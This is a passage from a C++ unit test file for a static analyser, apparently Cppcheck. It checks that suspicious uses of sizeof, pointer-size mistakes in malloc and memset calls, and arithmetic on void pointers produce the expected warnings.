ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(foo++)\");\n ASSERT_EQUALS(\"[test.cpp:1:11]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"sizeof(--foo)\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n // #6888\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"#define VOIDCAST1 (void)\\n\"\n \"#define VOIDCAST2(SZ) static_cast(SZ)\\n\"\n \"int f(int i) {\\n\"\n \" VOIDCAST1 SIZEOF1;\\n\"\n \" VOIDCAST1 SIZEOF2;\\n\"\n \" VOIDCAST2(SIZEOF1);\\n\"\n \" VOIDCAST2(SIZEOF2);\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"int f(int i) {\\n\"\n \" SIZEOF1;\\n\"\n \" SIZEOF2;\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\"\n \"[test.cpp:5:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n checkP(\"#define MACRO(data) f(data, sizeof(data))\\n\"\n \"x = MACRO((unsigned int *)data + 4);\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n }\n\n void sizeofFunction() {\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \" int bar() const { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo * fp;int a=sizeof(fp->bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int a=sizeof(foo());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() { return 1; }; int a=sizeof(foo());\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int foo() { return 1; }; sizeof(decltype(foo()));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; int a=sizeof(foo(0))\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"char * buf; int a=sizeof(*buf);\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a=sizeof(foo())\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; char buf[1024]; int a=sizeof(buf), foo(0)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" static B f(const B &);\\n\"\n \" static A f(const A &);\\n\"\n \" static A &g();\\n\"\n \" static T &h();\\n\"\n \"\\n\"\n \" enum {\\n\"\n \" X = sizeof(f(g() >> h())) == sizeof(A),\\n\"\n \" Y = sizeof(f(g() << h())) == sizeof(A),\\n\"\n \" Z = X & Y\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"size_t f1() { return sizeof(x[0]); }\\n\"\n \"size_t f2() { return sizeof(g()); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n }\n\n void sizeofForArrayParameter() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = 2;\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = { 2 };\\n\"\n \" unsigned int b[] = { 0 };\\n\"\n \" int c[a[b[0]]];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" unsigned int a[] = { 1 };\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a[0]+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof a / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[3] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"typedef char Fixname[1000];\\n\"\n \"int f2(Fixname& f2v) {\\n\"\n \" int i = sizeof(f2v);\\n\"\n \" printf(\\\"sizeof f2v %d\\\", i);\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" p[0] = 0;\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char p[] = \\\"test\\\";\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2495\n check(\"void f() {\\n\"\n \" static float col[][3]={\\n\"\n \" {1,0,0},\\n\"\n \" {0,0,1},\\n\"\n \" {0,1,0},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" };\\n\"\n \" const int COL_MAX=sizeof(col)/sizeof(col[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #155\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[], int b) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[3] , int b[2] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*(2+1)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void sizeofForNumericParameter() {\n check(\"void f() {\\n\"\n \" std::cout << sizeof(10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof(-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof 10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof -10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n }\n\n void suspiciousSizeofCalculation() {\n check(\"void f() {\\n\"\n \" int* p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unknown p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(unknown)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p[5];\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning, inconclusive) Multiplying sizeof() with sizeof() indicates a logic error. [multiplySizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (end - source) / sizeof(encode_block_type) * sizeof(encode_block_type);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { T* t; };\\n\" // #10179\n \"int f(S* s) {\\n\"\n \" return g(sizeof(*s->t) / 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char* a[N];\\n\"\n \" for (int i = 0; i < (int)(sizeof(a) / sizeof(char*)); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int** p) {\\n\"\n \" return sizeof(p[0]) / 4;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" unsigned char* s;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s[38];\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" for (size_t i = 0; i < sizeof(t->s) / sizeof(t->s[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" struct T {\\n\"\n \" char* c[3];\\n\"\n \" } t[1];\\n\"\n \"};\\n\"\n \"void f(S* s) {\\n\"\n \" for (int i = 0; i != sizeof(s->t[0].c) / sizeof(char*); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t* buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(buf[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t*** buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(**buf[0]); i++) {}\\n\"\n \" for (int i = 0; i < len / sizeof(*buf[0][0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeof() {\n check(\"void f() {\\n\"\n \" char *x = malloc(10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = (int*)malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = static_cast(malloc(sizeof(x)));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(&x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int*));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \" int **y = malloc(sizeof(int*));\\n\"\n \" free(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x) * 100);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(*x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof *x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(int) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int fun(const char *buf1)\\n\"\n \"{\\n\"\n \" const char *buf1_ex = \\\"foobarbaz\\\";\\n\"\n \" return strncmp(buf1, buf1_ex, sizeof(buf1_ex)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (warning) Size of pointer 'buf1_ex' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\n \"int fun(const char *buf1) {\\n\"\n \" return strncmp(buf1, foo(buf2), sizeof(buf1)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Size of pointer 'buf1' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"int fun(const char *buf2) {\\n\"\n \" return strncmp(buf1, buf2, sizeof(char*)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (warning) Size of pointer 'buf2' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n // #ticket 3874\n check(\"void f()\\n\"\n \"{\\n\"\n \" int * pIntArray[10];\\n\"\n \" memset(pIntArray, 0, sizeof(pIntArray));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void FreeFileName(const char *s) {\\n\"\n \" CxString tbuf;\\n\"\n \" const char *p;\\n\"\n \" memcpy(s, siezof(s));\\n\" // non-standard memcpy\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" module_config_t *tab = module;\\n\"\n \" memset(tab + confsize, 0, sizeof(tab[confsize]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char* aug) {\\n\"\n \" memmove(aug + extra_string, aug, buf - (bfd_byte *)aug);\\n\" // #7100\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7518\n check(\"bool create_iso_definition(cpp_reader *pfile, cpp_macro *macro) {\\n\"\n \" cpp_token *token;\\n\"\n \" cpp_hashnode **params = malloc(sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \" memcpy(params, macro->params, sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* foo() {\\n\"\n \" void* AtomName = malloc(sizeof(char *) * 34);\\n\"\n \" return AtomName;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeofStruct() {\n check(\"void f() {\\n\"\n \" struct foo *ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char bar[10];\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char *bar;\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Size of pointer 'bar' used instead of size of its data. [pointerSize]\\n\", errout_str());\n }\n\n void sizeofDivisionMemset() {\n check(\"void foo(memoryMapEntry_t* entry, memoryMapEntry_t* memoryMapEnd) {\\n\"\n \" memmove(entry, entry + 1, (memoryMapEnd - entry) / sizeof(entry));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:56]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\"\n \"[test.cpp:2:54]: (warning) Division by result of sizeof(). memmove() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\",\n errout_str());\n\n check(\"Foo* allocFoo(int num) {\\n\"\n \" return malloc(num / sizeof(Foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Division by result of sizeof(). malloc() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[100];\\n\"\n \" strncpy(str, xyz, sizeof(str)/sizeof(str[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9648\n \" int a[5] = { 0 };\\n\"\n \" int b[5];\\n\"\n \" memcpy(b, a, ((sizeof(a) / sizeof(a[0])) - 1) * sizeof(a[0]));\\n\"\n \" memcpy(b, a, sizeof(a[0]) * ((sizeof(a) / sizeof(a[0])) - 1));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeofVoid() {\n check(\"void f() {\\n\"\n \" int size = sizeof(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (portability) Behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofVoid]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p;\\n\"\n \" int size = sizeof(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) '*p' is of type 'void', the behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofDereferencedVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = p + 4;\\n\"\n \" int* p3 = p - 1;\\n\"\n \" int* p4 = 1 + p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:4:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1--;\\n\"\n \" p2++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1-=4;\\n\"\n \" p2+=4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = &p + 4;\\n\"\n \" int* p3 = &p - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1 = malloc(10);\\n\"\n \" p1--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1;\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1[5];\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Calculations on void* with casts\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)(data) + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)(data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)data++;\\n\"\n \" unsigned char* c2 = (unsigned char *)++data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:3:40]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" void* data2 = data + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. 